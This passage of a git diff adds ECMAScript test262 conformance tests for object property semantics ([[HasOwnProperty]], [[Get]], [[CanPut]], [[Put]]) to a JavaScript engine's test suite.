+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_41.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_41.js
new file mode 100644
index 000000000..b3e3ecdff
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_41.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_41.js
+ * @description Properties - [[HasOwnProperty]] (configurable, enumerable inherited getter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}, enumerable:true, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_42.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_42.js
new file mode 100644
index 000000000..5f4679697
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_42.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_42.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, non-enumerable inherited setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {set: function() {;}});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_43.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_43.js
new file mode 100644
index 000000000..52632881f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_43.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_43.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, enumerable inherited setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {set: function() {;}, enumerable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_44.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_44.js
new file mode 100644
index 000000000..e76b7ffa2
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_44.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_44.js
+ * @description Properties - [[HasOwnProperty]] (configurable, non-enumerable inherited setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {set: function() {;}, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_45.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_45.js
new file mode 100644
index 000000000..c1dda50f5
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_45.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_45.js
+ * @description Properties - [[HasOwnProperty]] (configurable, enumerable inherited setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {set: function() {;}, enumerable:true, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_46.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_46.js
new file mode 100644
index 000000000..2f2cb4a6d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_46.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_46.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, non-enumerable inherited getter/setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}, set: function() {;}});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_47.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_47.js
new file mode 100644
index 000000000..032dcff5b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_47.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_47.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, enumerable inherited getter/setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}, set: function() {;}, enumerable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_48.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_48.js
new file mode 100644
index 000000000..f7901fbca
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_48.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_48.js
+ * @description Properties - [[HasOwnProperty]] (configurable, non-enumerable inherited getter/setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}, set: function() {;}, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_49.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_49.js
new file mode 100644
index 000000000..c43be6a73
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_49.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_49.js
+ * @description Properties - [[HasOwnProperty]] (configurable, enumerable inherited getter/setter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}, set: function() {;}, enumerable:true, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_5.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_5.js
new file mode 100644
index 000000000..2c6ff4643
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_5.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_5.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, non-configurable, enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42, enumerable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_6.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_6.js
new file mode 100644
index 000000000..02b14b206
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_6.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_6.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, configurable, non-enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_7.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_7.js
new file mode 100644
index 000000000..4b7845365
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_7.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_7.js
+ * @description Properties - [[HasOwnProperty]] (writable, non-configurable, non-enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42, writable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_8.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_8.js
new file mode 100644
index 000000000..d462883fa
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_8.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_8.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, configurable, enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42, configurable:true, enumerable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_9.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_9.js
new file mode 100644
index 000000000..5fe54362c
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_9.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_9.js
+ * @description Properties - [[HasOwnProperty]] (writable, non-configurable, enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42, writable:true, enumerable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/browser.js b/js/src/tests/test262/ch08/8.12/8.12.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/shell.js b/js/src/tests/test262/ch08/8.12/8.12.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A1.js b/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A1.js
new file mode 100644
index 000000000..4bf7b4590
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[Get]](P) method should return value when property P does not exist in instance but prototype contain it
+ *
+ * @path ch08/8.12/8.12.3/S8.12.3_A1.js
+ * @description Try to get P when property P does not exist in instance but prototype contain it
+ */
+
+//Establish foo object
+function FooObj(){}; FooObj.prototype.propFoo="some";
+
+// Invoke instance of foo object
+var __obj= new FooObj;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.propFoo !== "some"){
+ $ERROR('#1: function FooObj(){}; FooObj.prototype.propFoo="some"; var __obj= new FooObj; __obj.propFoo === "some". Actual: ' + (__obj.propFoo));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj['propFoo'] !== "some"){
+ $ERROR('#1: function FooObj(){}; FooObj.prototype.propFoo="some"; var __obj= new FooObj; __obj[\'propFoo\'] === "some". Actual: ' + (__obj['propFoo']));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A2.js b/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A2.js
new file mode 100644
index 000000000..8f261da8e
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[Get]](P) method should return undefined when property P does not exist both in instance and prototype
+ *
+ * @path ch08/8.12/8.12.3/S8.12.3_A2.js
+ * @description Try to get P when property P does not exist both in instance and prototype
+ */
+
+var __obj={};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.propFoo !== undefined){
+ $ERROR('#1: var __obj={}; __obj.propFoo === undefined. Actual: ' + (__obj.propFoo));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj['propFoo'] !== undefined){
+ $ERROR('#2: var __obj={}; __obj[\'propFoo\'] === undefined. Actual: ' + (__obj['propFoo']));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A3.js b/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A3.js
new file mode 100644
index 000000000..dbe1250ad
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.3/S8.12.3_A3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Get]] method of O is called with property name P value of P returns
+ *
+ * @path ch08/8.12/8.12.3/S8.12.3_A3.js
+ * @description Try to get P property P exist in instance
+ */
+
+var __map={shape:"cube", 5:"five", "6":"six"};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__map.shape !== "cube"){
+ $ERROR('#1: var __map={shape:"cube", 5:"five", "6":"six"}; __map.shape === "cube". Actual: ' + (__map.shape));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__map["shape"] !== "cube"){
+ $ERROR('#2: var __map={shape:"cube", 5:"five", "6":"six"}; __map["shape"] === "cube". Actual: ' + (__map["shape"]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__map["5"] !== "five"){
+ $ERROR('#3: var __map={shape:"cube", 5:"five", "6":"six"}; __map["5"] === "five". Actual: ' + (__map["5"]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__map[5] !== "five"){
+ $ERROR('#4: var __map={shape:"cube", 5:"five", "6":"six"}; __map[5] === "five". Actual: ' + (__map[5]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (__map["6"] !== "six"){
+ $ERROR('#5: var __map={shape:"cube", 5:"five", "6":"six"}; __map["6"] === "six". Actual: ' + (__map["6"]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if (__map[6] !== "six"){
+ $ERROR('#6: var __map={shape:"cube", 5:"five", "6":"six"}; __map[6] === "six". Actual: ' + (__map[6]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.3/browser.js b/js/src/tests/test262/ch08/8.12/8.12.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.3/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.3/shell.js b/js/src/tests/test262/ch08/8.12/8.12.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.3/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.4/8.14.4-8-b_1.js b/js/src/tests/test262/ch08/8.12/8.12.4/8.14.4-8-b_1.js
new file mode 100644
index 000000000..38249d056
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.4/8.14.4-8-b_1.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.4/8.14.4-8-b_1.js
+ * @description Non-writable property on a prototype written to.
+ */
+
+function testcase() {
+ function foo() {};
+ Object.defineProperty(foo.prototype, "bar", {value: "unwritable"});
+
+ var o = new foo();
+ o.bar = "overridden";
+ return o.hasOwnProperty("bar")===false && o.bar==="unwritable";
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.4/8.14.4-8-b_2.js b/js/src/tests/test262/ch08/8.12/8.12.4/8.14.4-8-b_2.js
new file mode 100644
index 000000000..f6b5f1c14
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.4/8.14.4-8-b_2.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.4/8.14.4-8-b_2.js
+ * @description Non-writable property on a prototype written to in strict mode.
+ * @onlyStrict
+ */
+
+function testcase() {
+ "use strict";
+
+ function foo() {};
+ Object.defineProperty(foo.prototype, "bar", {value: "unwritable"});
+
+ var o = new foo();
+ try {
+ o.bar = "overridden";
+ return false;
+ } catch(e) {
+ return (e instanceof TypeError) && (o.bar==="unwritable");
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.4/S8.12.4_A1.js b/js/src/tests/test262/ch08/8.12/8.12.4/S8.12.4_A1.js
new file mode 100644
index 000000000..cbe11f0f7
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.4/S8.12.4_A1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If the property has the ReadOnly attribute, [[CanPut]](P) return false
+ *
+ * @path ch08/8.12/8.12.4/S8.12.4_A1.js
+ * @description Try put other value for Math.E property
+ * @noStrict
+ */
+
+var __e = Math.E;
+Math.E = 1;
+if (Math.E !== __e){
+ $ERROR('#1: __e = Math.E; Math.E = 1; Math.E === __e. Actual: ' + (Math.E));
+}
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.4/browser.js b/js/src/tests/test262/ch08/8.12/8.12.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.4/browser.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.4/shell.js b/js/src/tests/test262/ch08/8.12/8.12.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.4/shell.js
diff --git a/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-3-b_1.js b/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-3-b_1.js
new file mode 100644
index 000000000..0ed875ef4
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-3-b_1.js
@@ -0,0 +1,40 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.5/8.12.5-3-b_1.js
+ * @description Changing the value of a data property should not affect it's non-value property descriptor attributes.
+ */
+
+
+function testcase() {
+ var origReduce = Array.prototype.reduce;
+ var origDesc = Object.getOwnPropertyDescriptor(Array.prototype, "reduce");
+ var newDesc;
+
+ try {
+ Array.prototype.reduce = function () {;};
+ newDesc = Object.getOwnPropertyDescriptor(Array.prototype, "reduce");
+ var descArray = [origDesc, newDesc];
+
+ for (var j in descArray) { //Ensure no attributes are magically added to newDesc
+ for (var i in descArray[j]) {
+ if (i==="value") {
+ if (origDesc[i]===newDesc[i]) {
+ return false;
+ }
+ }
+ else if (origDesc[i]!==newDesc[i]) {
+ return false;
+ }
+ }
+ }
+ return true;
+
+ } finally {
+ Array.prototype.reduce = origReduce;
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-3-b_2.js b/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-3-b_2.js
new file mode 100644
index 000000000..f6b760ce3
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-3-b_2.js
@@ -0,0 +1,44 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.5/8.12.5-3-b_2.js
+ * @description Changing the value of a data property should not affect it's non-value property descriptor attributes.
+ */
+
+
+function testcase() {
+ var tempObj = {};
+
+ Object.defineProperty(tempObj, "reduce", { value:456, enumerable:false, writable:true});
+ var origReduce = tempObj.reduce;
+ var origDesc = Object.getOwnPropertyDescriptor(tempObj, "reduce");
+
+ var newDesc;
+
+ try {
+ tempObj.reduce = 123;
+ newDesc = Object.getOwnPropertyDescriptor(tempObj, "reduce");
+ var descArray = [origDesc, newDesc];
+
+ for (var j in descArray) {
+ for (var i in descArray[j]) {
+ if (i==="value") {
+ if (origDesc[i]===newDesc[i]) {
+ return false;
+ }
+ }
+ else if (origDesc[i]!==newDesc[i]) {
+ return false;
+ }
+ }
+ }
+ return true;
+
+ } finally {
+ tempObj.reduce = origReduce;
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-5-b_1.js b/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-5-b_1.js
new file mode 100644
index 000000000..b3c013ef5
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.5/8.12.5-5-b_1.js
@@ -0,0 +1,39 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.5/8.12.5-5-b_1.js
+ * @description Changing the value of an accessor property should not affect it's property descriptor attributes.
+ */
+
+
+function testcase() {
+ var tempObj = {};
+
+ Object.defineProperty(tempObj, "reduce", { get: function() {return 456;}, enumerable:false, set: function() {;}});
+ var origReduce = tempObj.reduce;
+ var origDesc = Object.getOwnPropertyDescriptor(tempObj, "reduce");
+
+ var newDesc;
+
+ try {
+ tempObj.reduce = 123;
+ newDesc = Object.getOwnPropertyDescriptor(tempObj, "reduce");
+ var descArray = [origDesc, newDesc];
+
+ for (var j in descArray) {
+ for (var i in descArray[j]) {
+ if (origDesc[i]!==newDesc[i]) {
+ return false;
+ }
+ }
+ }
+ return tempObj.reduce===456;
+
+ } finally {
+ tempObj.reduce = origReduce;
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.5/S8.12.5_A1.js b/js/src/tests/test262/ch08/8.12/8.12.5/S8.12.5_A1.js
new file mode 100644
index 000000000..e6f4bba20
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.5/S8.12.5_A1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Put]] method of O is called with property P and value V,
+ * and If O doesn't have a property with name P, then
+ * creates a property with name P, set its value to V and give it empty attributes
+ *
+ * @path ch08/8.12/8.12.5/S8.12.5_A1.js
+ * @description Put to not existent properties
+ */
+
+var __map={}; __map[1]="one"; __map["two"]=2; __map["3"]="tre";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__map[1] !== "one") {
+ $ERROR('#1: var __map={}; __map[1]="one"; __map["two"]=2; __map["3"]="tre"; __map[1] === "one". Actual: ' + (__map[1]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__map["two"] !== 2) {
+ $ERROR('#2: var __map={}; __map[1]="one"; __map["two"]=2; __map["3"]="tre"; __map["two"] === 2. Actual: ' + (__map["two"]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__map["3"] !== "tre") {
+ $ERROR('#3: var __map={}; __map[1]="one"; __map["two"]=2; __map["3"]="tre"; __map["3"] === "tre". Actual: ' + (__map["3"]));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.12/8.12.5/S8.12.5_A2.js b/js/src/tests/test262/ch08/8.12/8.12.5/S8.12.5_A2.js
new file mode 100644
index 000000000..02f67e0b8
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.5/S8.12.5_A2.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
